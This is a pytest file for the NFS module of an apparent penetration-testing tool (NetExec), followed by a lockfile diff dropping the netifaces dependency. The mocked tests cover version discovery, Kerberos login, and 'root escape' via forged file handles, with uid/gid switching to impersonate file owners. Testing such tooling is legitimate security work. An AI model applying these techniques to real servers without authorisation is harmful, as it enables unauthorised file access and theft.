def test_argument_defaults_use_auto_discovery():
parser = ArgumentParser()
proto_args(parser.add_subparsers(dest="protocol"), [])
args = parser.parse_args(["nfs", "--shares"])
assert args.nfs_version is None
assert args.nfs_auth == "sys"
assert args.port is None
assert args.nfs_timeout == 2
@pytest.mark.parametrize("version", ["3", "4.0", "4.1", "4.2"])
def test_argument_parser_accepts_exact_versions(version):
parser = ArgumentParser()
proto_args(parser.add_subparsers(dest="protocol"), [])
assert parser.parse_args(["nfs", "--nfs-version", version]).nfs_version == version
def test_argument_parser_rejects_legacy_nfsv4_value():
parser = ArgumentParser()
proto_args(parser.add_subparsers(dest="protocol"), [])
with pytest.raises(SystemExit):
parser.parse_args(["nfs", "--nfs-version", "4"])
def test_auto_discovery_prefers_nfsv3(monkeypatch):
calls = []
discovered = discovery("3", "4.0", "4.1", "4.2", nfs3_port=2050)
def discover(*args):
calls.append(("discover", args))
return discovered
monkeypatch.setattr(PROTOCOL_MODULE, "discover_nfs_versions", discover)
monkeypatch.setattr(PROTOCOL_MODULE, "NFSClient", client_class(calls))
protocol = make_protocol(None)
assert protocol.create_conn_obj()
assert protocol.nfs_version == "3"
assert protocol.nfs_versions == discovered.supported
assert calls[0] == ("discover", ("192.0.2.1", protocol.rpc_auth, 2049, 2, 111))
assert calls[1] == ("init", "192.0.2.1", "3", 2050, 2, protocol.rpc_auth)
def test_auto_discovery_uses_latest_supported_nfsv4(monkeypatch):
calls = []
monkeypatch.setattr(PROTOCOL_MODULE, "discover_nfs_versions", lambda *args: discovery("4.0", "4.2"))
monkeypatch.setattr(PROTOCOL_MODULE, "NFSClient", client_class(calls))
protocol = make_protocol(None)
assert protocol.create_conn_obj()
assert protocol.nfs_version == "4.2"
assert calls[0] == ("init", "192.0.2.1", "4.2", None, 2, protocol.rpc_auth)
def test_conclusively_unsupported_explicit_version_fails_without_fallback(monkeypatch):
monkeypatch.setattr(PROTOCOL_MODULE, "discover_nfs_versions", lambda *args: discovery("4.1", "4.2"))
monkeypatch.setattr(PROTOCOL_MODULE, "NFSClient", lambda *args: (_ for _ in ()).throw(AssertionError("client constructed")))
protocol = make_protocol("3")
assert not protocol.create_conn_obj()
assert protocol.nfs_version == "3"
assert "NFSv3 is not supported by the target" in protocol.logger.messages[-1]
@pytest.mark.parametrize(("version", "label"), [("3", "rpcbind"), ("3", "3@2049"), ("4.0", "4.0")])
def test_inconclusive_explicit_version_is_still_attempted(monkeypatch, version, label):
calls = []
monkeypatch.setattr(PROTOCOL_MODULE, "discover_nfs_versions", lambda *args: discovery("4.2", inconclusive=((label, TimeoutError()),)))
monkeypatch.setattr(PROTOCOL_MODULE, "NFSClient", client_class(calls))
protocol = make_protocol(version)
assert protocol.create_conn_obj()
assert protocol.nfs_version == version
assert calls[0][2] == version
def test_custom_port_is_used_for_discovery_and_client(monkeypatch):
calls = []
def discover(*args):
calls.append(("discover", args))
return discovery("4.1")
monkeypatch.setattr(PROTOCOL_MODULE, "discover_nfs_versions", discover)
monkeypatch.setattr(PROTOCOL_MODULE, "NFSClient", client_class(calls))
protocol = make_protocol("4.1", port=3049)
assert protocol.create_conn_obj()
assert calls[0] == ("discover", ("192.0.2.1", protocol.rpc_auth, 3049, 2, 111))
assert calls[1] == ("init", "192.0.2.1", "4.1", 3049, 2, protocol.rpc_auth)
def test_auto_discovery_rejects_hosts_without_a_supported_version(monkeypatch):
monkeypatch.setattr(PROTOCOL_MODULE, "discover_nfs_versions", lambda *args: discovery())
monkeypatch.setattr(PROTOCOL_MODULE, "NFSClient", lambda *args: (_ for _ in ()).throw(AssertionError("client constructed")))
protocol = make_protocol(None)
assert not protocol.create_conn_obj()
assert "No supported NFS version discovered" in protocol.logger.messages[-1]
def test_host_output_includes_discovered_and_selected_versions():
protocol = make_protocol("3")
protocol.nfs_versions = ("3", "4.0", "4.1", "4.2")
protocol.print_host_info()
assert "Supported NFS versions: (3, 4.0, 4.1, 4.2) NFSv3 sys" in protocol.logger.messages[-1]
def test_enum_host_info_uses_the_selected_generic_client():
protocol = make_protocol("4.2")
protocol.nfs_versions = ("4.1", "4.2")
protocol.nfs = object()
protocol.try_root_escape = lambda: True
protocol.enum_host_info()
assert protocol.root_escape is True
assert protocol.db.hosts[-1][2:] == (2049, ("4.1", "4.2"), True)
def test_kerberos_rebuilds_the_selected_generic_client(monkeypatch):
events = []
class Client:
def __init__(self, host, version, port, timeout, auth):
self.port = port or 2049
self.auth = auth
events.append(("init", version, auth))
def connect(self):
events.append(("connect",))
def disconnect(self):
events.append(("disconnect",))
def establish_gss(self, initiator, service):
events.append(("gss", initiator.host, service))
self.auth = "rpcsec-gss"
class Initiator:
def __init__(self, host, credentials):
self.host = host
self.credentials = credentials
monkeypatch.setattr(PROTOCOL_MODULE, "NFSClient", Client)
monkeypatch.setitem(sys.modules, "pyNfsClient.kerberos", SimpleNamespace(KerberosInitiator=Initiator))
protocol = make_protocol("4.1", auth="krb5p")
protocol.discovery = discovery("4.1")
protocol.try_root_escape = lambda: False
assert protocol.kerberos_login("NFS.TEST", "nfsclient", password="secret", kdcHost="192.0.2.2")
assert ("init", "4.1", protocol.auth) in events
assert ("gss", "192.0.2.1", "krb5p") in events
assert protocol.rpc_auth == "rpcsec-gss"
def test_selected_root_handle_delegates_to_generic_client():
protocol = make_protocol("4.2", share="/export")
protocol.nfs = SimpleNamespace(
root_handle=lambda share: {"status": 0, "mountinfo": {"fhandle": b"root"}},
status_name=lambda status: str(status),
)
assert protocol.selected_root_handle() == b"root"
def test_nfsv3_without_share_still_requires_root_escape():
protocol = make_protocol("3")
protocol.nfs = SimpleNamespace()
assert protocol.selected_root_handle() is None
assert "please specify a share" in protocol.logger.messages[-1]
def test_root_escape_validation_uses_the_generic_client():
protocol = make_protocol()
protocol.nfs = SimpleNamespace(
getattr=lambda file_handle, auth=None: {"status": 0, "attributes": {"type": 2}},
readdir=lambda file_handle, auth=None: {"status": 0, "resok": {}},
exports=lambda: [("/", ["Everyone"])],
root_handle=lambda share: {"status": 0, "mountinfo": {"fhandle": b"export"}},
unmount=lambda: None,
)
protocol.get_root_handles = lambda file_handle: [b"forged"]
assert protocol.try_root_escape() is True
assert protocol.escape_share == "/"
assert protocol.escape_fh == b"forged"
def test_named_owner_does_not_replace_auth_sys_numeric_uid():
protocol = make_protocol()
protocol.nfs = SimpleNamespace(
getattr=lambda file_handle, auth=None: {"status": 0, "attributes": {"uid": "[email protected]", "gid": "[email protected]"}},
access=lambda file_handle, access, auth=None: {"status": 0, "resok": {"access": access}},
)
assert protocol.list_dir(b"root", "/", recurse=0)[0]["uid"] == "[email protected]"
assert protocol.auth["uid"] == 0
assert protocol.auth["gid"] == 0
def test_print_directory_restores_directory_identity_between_entries():
calls = []
owners = {b"one": (1000, 100), b"two": (2000, 200)}
protocol = make_protocol()
protocol.auth.update({"uid": 500, "gid": 50})
def get_attributes(file_handle, auth=None):
calls.append(("getattr", file_handle, auth["uid"], auth["gid"]))
uid, gid = owners[file_handle]
return {"status": 0, "attributes": {"uid": uid, "gid": gid}}
def access(file_handle, requested, auth=None):
calls.append(("access", file_handle, auth["uid"], auth["gid"]))
return {"status": 0, "resok": {"access": requested}}
protocol.nfs = SimpleNamespace(getattr=get_attributes, access=access)
protocol.print_directory(
[
{
"name": b"one",
"name_attributes": {"present": True, "attributes": {"uid": 1000, "type": 1, "size": 0}},
"name_handle": {"present": True, "handle": {"data": b"one"}},
},
{
"name": b"two",
"name_attributes": {"present": True, "attributes": {"uid": 2000, "type": 1, "size": 0}},
"name_handle": {"present": True, "handle": {"data": b"two"}},
},
],
"/",
)
assert calls == [
("getattr", b"one", 500, 50),
("access", b"one", 1000, 100),
("access", b"one", 1000, 100),
("access", b"one", 1000, 100),
("getattr", b"two", 500, 50),
("access", b"two", 2000, 200),
("access", b"two", 2000, 200),
("access", b"two", 2000, 200),
]
assert protocol.auth["uid"] == 500
assert protocol.auth["gid"] == 50
def test_btrfs_root_escape_handles_are_python_310_compatible(monkeypatch):
protocol = make_protocol()
protocol.nfs = SimpleNamespace(readdirplus=lambda file_handle, auth=None: {})
monkeypatch.setattr(protocol, "format_directory", lambda response: [])
handles = protocol.get_root_handles(b"\x01\x00\x00\x4d" + b"12345678")
assert len(handles) == 18
assert handles[2][20:24] == b"\x00\x01\x00\x00"
assert handles[-1][20:24] == b"\x0f\x01\x00\x00"
def test_netexec_uses_only_the_generic_client_api():
source = PROTOCOL_PATH.read_text()
assert "NFSClient" in source
assert ".compound(" not in source
assert "NFSv40" not in source
assert "NFSv41" not in source
assert "NFSv42" not in source
@pytest.mark.parametrize("version", ["3", "4.0", "4.1", "4.2"])
def test_uid_and_gid_changes_are_passed_to_each_generic_call(version):
calls = []
protocol = make_protocol(version=version)
protocol.args.cat = "file"
protocol.connect_nfs = lambda: protocol.nfs
protocol.selected_root_handle = lambda: b"root"
def get_attributes(file_handle, auth=None):
calls.append(("getattr", file_handle, auth["uid"], auth["gid"]))
uid, gid = (1000, 100) if file_handle == b"root" else (2000, 200)
return {"status": 0, "attributes": {"uid": uid, "gid": gid}}
def lookup(file_handle, name, auth=None):
calls.append(("lookup", file_handle, auth["uid"], auth["gid"]))
return {"status": 0, "resok": {"object": {"data": b"file"}, "obj_attributes": {"attributes": {"type": PROTOCOL_MODULE.NF3REG}}}}
def read(file_handle, offset, auth=None):
calls.append(("read", file_handle, auth["uid"], auth["gid"]))
return {"status": 0, "resok": {"data": b"data", "eof": True}}
protocol.nfs = SimpleNamespace(getattr=get_attributes, lookup=lookup, read=read)
protocol.cat()
assert calls == [
("getattr", b"root", 0, 0),
("lookup", b"root", 1000, 100),
("getattr", b"file", 1000, 100),
("read", b"file", 2000, 200),
]
def test_put_file_reuses_open_auth_snapshot_after_uid_detection(tmp_path):
local_file = tmp_path / "upload.txt"
local_file.write_bytes(b"payload")
protocol = make_protocol("4.0")
protocol.args.put_file = [str(local_file), "upload.txt"]
protocol.selected_root_handle = lambda: b"root"
events = []
def update_auth(file_handle):
if file_handle == b"root":
protocol.auth.update({"uid": 1000, "gid": 100})
else:
protocol.auth.update({"uid": 2000, "gid": 200})
return {"status": 0, "attributes": {"uid": protocol.auth["uid"], "gid": protocol.auth["gid"]}}
class Client:
def lookup(self, *args, **kwargs):
return {"status": PROTOCOL_MODULE.NFS3ERR_NOENT, "resok": None, "resfail": {}}
def create(self, dir_handle, name, create_mode, mode=None, auth=None):
events.append(("create", auth))
return {"status": 0, "resok": {"obj": {"handle": {"data": b"file"}}}}
def fsinfo(self, *args, **kwargs):
return {"status": 0, "resok": {"wtpref": 1024}}
def write(self, file_handle, offset, count, content, stable_how, auth=None):
events.append(("write", auth, content))
return {"status": 0, "resok": {"count": count}}
def close(self, file_handle, auth=None):
events.append(("close", auth))
return {"status": 0}
def unmount(self):
pass
@staticmethod
def status_name(status):
return str(status)
protocol.nfs = Client()
protocol.update_auth = update_auth
protocol.put_file()
assert protocol.auth["uid"] == 2000
assert events[0][1]["uid"] == 1000
assert events[1][1] is events[0][1]
assert events[2][1] is events[0][1]
assert events[1][2] == b"payload"
def test_disconnect_delegates_all_cleanup_to_generic_client():
class Client:
def disconnect(self):
self.disconnected = True
protocol = make_protocol()
protocol.nfs = Client()
protocol.nfs.disconnected = False
protocol.disconnect()
assert protocol.nfs.disconnected
Generated
-8
View File
@@ -1374,7 +1374,6 @@ dependencies = [
{ name = "masky" },
{ name = "minikerberos" },
{ name = "neo4j" },
{ name = "netifaces" },
{ name = "paramiko" },
{ name = "pefile" },
{ name = "pyasn1-modules" },
@@ -1418,7 +1417,6 @@ requires-dist = [
{ name = "masky", specifier = ">=0.2.1" },
{ name = "minikerberos", specifier = ">=0.4.1" },
{ name = "neo4j", specifier = ">=5.0.0" },
{ name = "netifaces", specifier = ">=0.11.0,<0.12.0" },
{ name = "paramiko", specifier = ">=3.3.1" },
{ name = "pefile", specifier = ">=2024.8.26,<2025.0.0" },
{ name = "pyasn1-modules", specifier = ">=0.3.0" },
@@ -1444,12 +1442,6 @@ dev = [
{ name = "shiv" },
]
[[package]]
name = "netifaces"
version = "0.11.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/a6/91/86a6eac449ddfae239e93ffc1918cf33fd9bab35c04d1e963b311e347a73/netifaces-0.11.0.tar.gz", hash = "sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32", size = 30106, upload-time = "2021-05-31T08:33:02.506Z" }
[[package]]
name = "oscrypto"
version = "1.3.0"